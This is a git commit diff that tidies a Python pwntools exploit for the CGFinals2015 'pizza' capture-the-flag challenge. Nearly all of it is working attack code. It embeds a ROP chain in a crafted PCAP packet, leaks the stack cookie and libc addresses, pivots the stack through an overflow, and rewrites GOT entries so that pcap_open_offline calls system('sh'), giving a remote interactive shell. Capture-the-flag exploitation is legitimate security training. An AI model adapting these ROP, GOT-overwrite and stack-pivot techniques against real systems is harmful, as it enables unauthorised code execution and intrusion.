Clean up CGFinals2015 pizza pwn

This commit is contained in:
q3k 2015-04-08 11:14:27 +09:00
parent bb929d83be
commit a9d0eb6fb2

View file

@ -2,6 +2,7 @@ import pwn
import time
import scapy.all
# PCAP Header crafting
pcap = ""
pcap += pwn.p32(0xa1b2c3d4) # PCAP magic
pcap += pwn.p16(2) # PCAP 2.4
@ -11,6 +12,7 @@ pcap += pwn.p32(0) # sigfigs
pcap += pwn.p32(65535) # caplen
pcap += pwn.p32(1) # ethernet
# Helper function to populate packet headers in PCAP file
def add_packet_header(sl, l):
global pcap
pcap += pwn.p32(int(time.time()))
@ -19,6 +21,7 @@ def add_packet_header(sl, l):
pcap += pwn.p32(l)
## ROP Gadgets
# 0x00402083: pop rdi ; ret ; (1 found)
POP_RDI = 0x00402083
# 0x00402081: pop rsi ; pop r15 ; ret ; (1 found)
@ -27,82 +30,100 @@ POP_RSI_R15 = 0x00402081
POP_RSP = 0x0040207d
# 0x00400ed8: pop rbp ; ret ; (1 found)
POP_RBP = 0x00400ed8
# 0x00402080: pop r14 ; pop r15 ; ret ; (1 found)
POP_POP_RET = 0x00402080
# mov rdi, "\tHeader Length: %d\n", call _printf
PRINTF_PD = 0x4011C3
## Libc functions
ATOI = 0x400DE0
NTOHL = 0x400e10
PCAP_OPEN_OFFLINE = 0x400d30
PRINTF = 0x400CD0
SPRINTF = 0x400DF0
## Libc functions in .got.plt
PRINTF_GOT_PLT = 0x603068
PCAP_OPEN_OFFLINE_GOT_PLT = 0x603098
ATOI_GOT_PLT = 0x6030f0
FREAD = 0x400C70
NTOHL = 0x400e10
ATOI = 0x400DE0
SPRINTF = 0x400DF0
## Strings
# \tVersion: %d\n
STR_VERSION_PS = 0x4020EE
STR_SH = 0x6032C0
## Libc offsets
# Offset of printf in target libc
LIBC_PRINTF = 0x00000000000544f0
# Offset of system in target libs
LIBC_SYSTEM = 0x0000000000044c40
## Helper buffers populated by client
# ...these are actually dst and src filter addresses
# Address of pop rdi; ret shell to overwrite atoi in .got.plt
BUFFER_POPRDI = 0x6032C0
# Address of 'sh\x00\x00'
BUFFER_SH = 0x6032C4
## Stage2 ROP, in PCAP packet
rop_s2 = ""
# three junk registers popped from stage1
rop_s2 += pwn.cyclic(3*8)
# eax <- 0 ; via ntohl() call
rop_s2 += pwn.p64(POP_RDI)
rop_s2 += pwn.p64(0)
rop_s2 += pwn.p64(NTOHL)
# leak printf in .got.plt
rop_s2 += pwn.p64(POP_RDI)
rop_s2 += pwn.p64(STR_VERSION_PS)
rop_s2 += pwn.p64(POP_RSI_R15)
rop_s2 += pwn.p64(PRINTF_GOT_PLT)
rop_s2 += pwn.p64(0x0)
rop_s2 += pwn.p64(PRINTF)
# return to main program again, the client will now populate BUFFER_* crap
rop_s2 += pwn.p64(0x401E14)
# sprintf(atoi@got.plt, &`pop rdi; ret`);
rop_s2 += pwn.p64(POP_RDI)
rop_s2 += pwn.p64(ATOI_GOT_PLT)
rop_s2 += pwn.p64(POP_RSI_R15)
rop_s2 += pwn.p64(0x6032C0)
rop_s2 += pwn.p64(BUFFER_POPRDI)
rop_s2 += pwn.p64(0)
rop_s2 += pwn.p64(SPRINTF)
# zero eax for nest sprintf...
rop_s2 += pwn.p64(POP_RDI)
rop_s2 += pwn.p64(0)
rop_s2 += pwn.p64(NTOHL)
# sprintf(atoi@got.plt+4, &0);
rop_s2 += pwn.p64(POP_RDI)
rop_s2 += pwn.p64(ATOI_GOT_PLT+4)
rop_s2 += pwn.p64(POP_RSI_R15)
rop_s2 += pwn.p64(0x402516)
rop_s2 += pwn.p64(0)
rop_s2 += pwn.p64(SPRINTF)
# sprintf(atoi@got.plt+5, &0);
rop_s2 += pwn.p64(POP_RDI)
rop_s2 += pwn.p64(ATOI_GOT_PLT+5)
rop_s2 += pwn.p64(POP_RSI_R15)
rop_s2 += pwn.p64(0x402516)
rop_s2 += pwn.p64(0)
rop_s2 += pwn.p64(SPRINTF)
# ...atoi@got.plt is now pointing to a pop rdi; ret gadget
# Call fgets()/atoi() gadget to overwrite pcap_open_offline wit system from client
rop_s2 += pwn.p64(POP_RBP)
rop_s2 += pwn.p64(PCAP_OPEN_OFFLINE_GOT_PLT + 0x20)
rop_s2 += pwn.p64(0x401A87) # fgets/atoi trick
# pcap_open_offline/system('sh\x00\x00')
rop_s2 += pwn.p64(POP_RDI)
rop_s2 += pwn.p64(STR_SH+4)
rop_s2 += pwn.p64(0x400d30)
rop_s2 += pwn.p64(0x401E14)
rop_s2 += pwn.p64(BUFFER_SH)
rop_s2 += pwn.p64(PCAP_OPEN_OFFLINE)
## Craft Ethernet/IP/TCP packet with Stage2 ROP CHain
p = scapy.all.Ether(dst="00:11:22:33:44:55", src="00:11:22:33:44:66")/ \
scapy.all.IP(dst="10.0.0.2", src="10.0.0.1", len=1000)/ \
scapy.all.TCP(dport=80, sport=12345)/ \
("foobarbazz" + rop_s2)
## Stuff packet into PCAP
p = bytes(p)
add_packet_header(len(p), 180)
pcap += p
## Connect to remote server, send PCAP (with Stage2 ROP Chain)
r = pwn.remote('200.200.200.5', 9998)
r.recvuntil("size: ")
r.send(str(len(pcap)) + '\n')
@ -110,6 +131,7 @@ r.recvuntil('\n')
r.send(pcap)
## Trigger info leak from PCAP
pwn.log.info("Running info leak...")
r.recvuntil('>> ')
r.send('6\n')
@ -124,13 +146,14 @@ stack_line = byte_dump.split('\n')[4]
stack_v = pwn.u64((''.join(stack_line.split()[18:18+8])).decode('hex'))
pwn.log.info("Stack value: %016x", stack_v)
# Address of Stage2 ROP Chain
tcp_buffer = stack_v + 0x320 + 8
pwn.log.info("TCP bytes at %016x", tcp_buffer)
## Prepare stack-pivot-into-Stage2 payload
pwn.log.info("Smashing stack with search payload...")
r.send('5\n')
r.recvuntil(':')
payload = ""
payload += pwn.cyclic(24) # buffer
payload += pwn.p64(cookie) # stack cookie
@ -138,16 +161,14 @@ payload += pwn.p64(0xDEADBEEF)
payload += pwn.p64(POP_RSP)
payload += pwn.p64(tcp_buffer)
# Verify constraints
assert '\n' not in payload
print len(payload)
assert len(payload) <= 72
# 00000000000544f0 g DF .text 00000000000000a1 GLIBC_2.2.5 printf
# [*] printf.got.plt is 00007fc594a424f0
LIBC_PRINTF = 0x00000000000544f0
r.send(payload + '\n')
print "fuuuuck", r.recvuntil('>> ')
r.recvuntil('>> ')
r.send('7\n')
r.recvuntil('IP: ')
@ -156,26 +177,29 @@ pwn.log.info("printf.got.plt is %016x", printf_got)
libc_base = printf_got - LIBC_PRINTF
pwn.log.info("libc is at %016x", libc_base)
system = libc_base + LIBC_SYSTEM
# 0000000000044c40 w DF .text 000000000000002d GLIBC_2.2.5 system
system = libc_base + 0x0000000000044c40
## By now, the Stage2 ROP Chain will re-run main.
# Send a null payload
r.send('0\n')
print r.recvuntil('>>')
pwn.log.info("Setting src port to sh\\x00\\x00")
# Send pop rdi; ret address into src port/BUFFER_POPRDI
r.recvuntil('>>')
pwn.log.info("Setting src port to pop rdi; ret address")
r.send('1\n')
print r.recvuntil(': ')
r.recvuntil(': ')
r.send('.'.join(str(ord(c)) for c in pwn.pack(POP_RDI)) + '\n')
print r.recvuntil('>>')
# Send 'sh\x00\x00' into src port/BUFFER_POPRDI
r.recvuntil('>>')
pwn.log.info("Setting dst port to sh\\x00\\x00")
r.send('2\n')
print r.recvuntil(': ')
r.recvuntil(': ')
r.send('.'.join(str(ord(c)) for c in "sh\x00\x00") + '\n')
# Exit from main, back into ROP chain
r.send('7\n')
print r.recv(1024)
r.recv(1024)
## By now, the Stage2 ROP Chain will hang on fgets()
# This will overwrite pop_open_offline
r.send(pwn.p64(system) + "\n")
# Shell get!
r.interactive()